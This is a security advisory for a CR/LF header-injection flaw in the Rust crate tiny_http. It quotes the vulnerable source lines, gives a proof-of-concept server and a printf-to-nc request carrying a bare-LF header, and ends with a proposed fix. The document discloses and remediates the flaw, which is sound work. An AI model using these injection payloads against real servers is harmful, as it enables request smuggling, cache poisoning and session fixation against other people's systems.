
Security Advisory: HTTP Header Injection via Unvalidated CR and LF in Header Values (tiny_http)
Assigned CVE ID: CVE-2026-66753
tiny_http does not reject carriage return or line feed inside HTTP header values, in either direction.
On the request side, read_next_line ends a header line only on CRLF, so a lone
LF survives inside the parsed value and reaches the application. On the response
side, Header::from_bytes validates only that the bytes are ASCII, and the
response writer emits values verbatim, so a value containing CRLF splits the
response.
Applications that reflect a request header value into a response header, or that re-serialise request headers onto another connection, therefore inherit an injection primitive with no indication that anything is wrong.
Repo URL: https://github.com/tiny-http/tiny-http
| Affected | all released versions up to and including 0.12.0 (2022-10-06), the current release |
| Verified | 0.6.2, 0.6.3, 0.8.0, 0.9.0, 0.10.0, 0.11.0, 0.12.0 |
| Fixed in | no fixed version at time of writing |
This is distinct from RUSTSEC-2020-0031 / CVE-2020-35884, which covered
Transfer-Encoding parsing and was fixed in 0.6.3 and 0.8.0. The behaviour
described here is present both before and after that fix.
CWE-113 (Improper Neutralization of CRLF Sequences in HTTP Headers), a specific case of CWE-93 (CRLF Injection).
CVSS 4.0 base score 6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
A remote, unauthenticated client sending raw HTTP to any tiny_http server. No credentials or user interaction.
Two consumer shapes turn this into a vulnerability:
Applications that copy a request header value into a response header. This is
the reflection pattern behind CORS origin echo, Location headers built from
request data, and cookie handling. A lone LF in the request value reaches the
response, and if the application constructs the response value itself it can
carry a full CRLF.
Applications that re-serialise request headers onto another connection, such as
a reverse proxy. The lone LF is written into the upstream request, and backends
that treat a bare LF as a header line terminator read one request as two.
RFC 9112 section 2.2 permits recipients to do this, so those backends are within
spec. Go net/http and Python http.server were both measured to accept it.
tiny_http-0.12.0/src/client.rs, lines 80 to 102. The loop returns only when a
LF is preceded by a CR. Any other byte, including a lone LF or a lone CR, is
pushed into the line buffer at line 100:
84 loop {
85 let byte = self.next_header_source.by_ref().bytes().next();
...
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
101 }
LF is 0x0A and CR is 0x0D, both valid ASCII, so AsciiString::from_ascii on
line 94 accepts them.
tiny_http-0.12.0/src/common.rs, lines 184 to 191, then only trims the value.
trim removes leading and trailing whitespace but leaves interior bytes intact:
184 fn from_str(input: &str) -> Result<Header, ()> {
185 let mut elems = input.splitn(2, ':');
186
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
A CRLF pair cannot survive, since it terminates the line, but a lone LF, a lone
CR, and sequences such as \n\r all can.
tiny_http-0.12.0/src/common.rs, lines 166 to 172, checks only for ASCII:
166 pub fn from_bytes<B1, B2>(header: B1, value: B2) -> Result<Header, ()>
...
171 let header = HeaderField::from_bytes(header).or(Err(()))?;
172 let value = AsciiString::from_ascii(value).or(Err(()))?;
tiny_http-0.12.0/src/response.rs, lines 99 to 104, writes the value with no
escaping:
99 for header in headers.iter() {
100 writer.write_all(header.field.as_str().as_ref())?;
101 write!(&mut writer, ": ")?;
102 writer.write_all(header.value.as_str().as_ref())?;
103 write!(&mut writer, "\r\n")?;
104 }
Note that HeaderField::from_str at line 226 does reject whitespace in a field
name, but HeaderField::from_bytes on line 171 does not, so response header
names are unchecked too.
Step 1. Start a server that prints a parsed request header value and echoes a value containing CRLF into a response header.
use tiny_http::{Header, Response, Server};
fn main() {
let server = Server::http("127.0.0.1:8004").unwrap();
for request in server.incoming_requests() {
for h in request.headers() {
if h.field.equiv("X-Test") {
println!("parsed X-Test value = {:?}", h.value.as_str());
}
}
let evil = "a\r\nX-Injected: yes";
let mut resp = Response::from_string("body");
resp.add_header(Header::from_bytes(&b"X-Echo"[..], evil.as_bytes()).unwrap());
let _ = request.respond(resp);
}
}
Step 2. Send a request whose X-Test value contains a bare LF. In the command
below \n is a single line feed and \r\n is a CRLF. The distinction is the
point of the test, so do not let an editor normalise it.
printf 'GET / HTTP/1.1\r\nHost: x\r\nX-Test: aaa\nbbb\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8004
Result on stdout. The LF is still inside the parsed value:
parsed X-Test value = "aaa\nbbb"
Result on the wire. The response header split into two:
HTTP/1.1 200 OK
Server: tiny-http (Rust)
Content-Type: text/plain; charset=UTF-8
X-Echo: a
X-Injected: yes
Content-Length: 4
body
By itself tiny_http does not re-emit request headers, so the request-side behaviour is a latent primitive rather than a direct compromise. It becomes exploitable in any consumer that forwards or reflects header values, where it yields request smuggling against LF-tolerant backends or header injection in the response.
The response-side behaviour is directly exploitable in any application that
places attacker-influenced text into a header value: script injection in the
origin's context, cache poisoning, session fixation through an injected
Set-Cookie, and overriding security headers.
For comparison, the http crate rejects CR and LF in HeaderValue::from_str,
which is why stacks built on it do not expose either behaviour.
Reject control characters at both boundaries.
In read_next_line (src/client.rs line 80), treat a bare CR or a bare LF in a
header line as a protocol error and return 400, rather than folding it into the
value. Alternatively reject them in Header::from_str (src/common.rs line
184) after the split.
In Header::from_bytes (src/common.rs line 166), reject values containing
0x0D, 0x0A or 0x00, and reject field names containing anything outside the
RFC 9110 token set. Returning Err there is already handled by callers, since
the signature is fallible.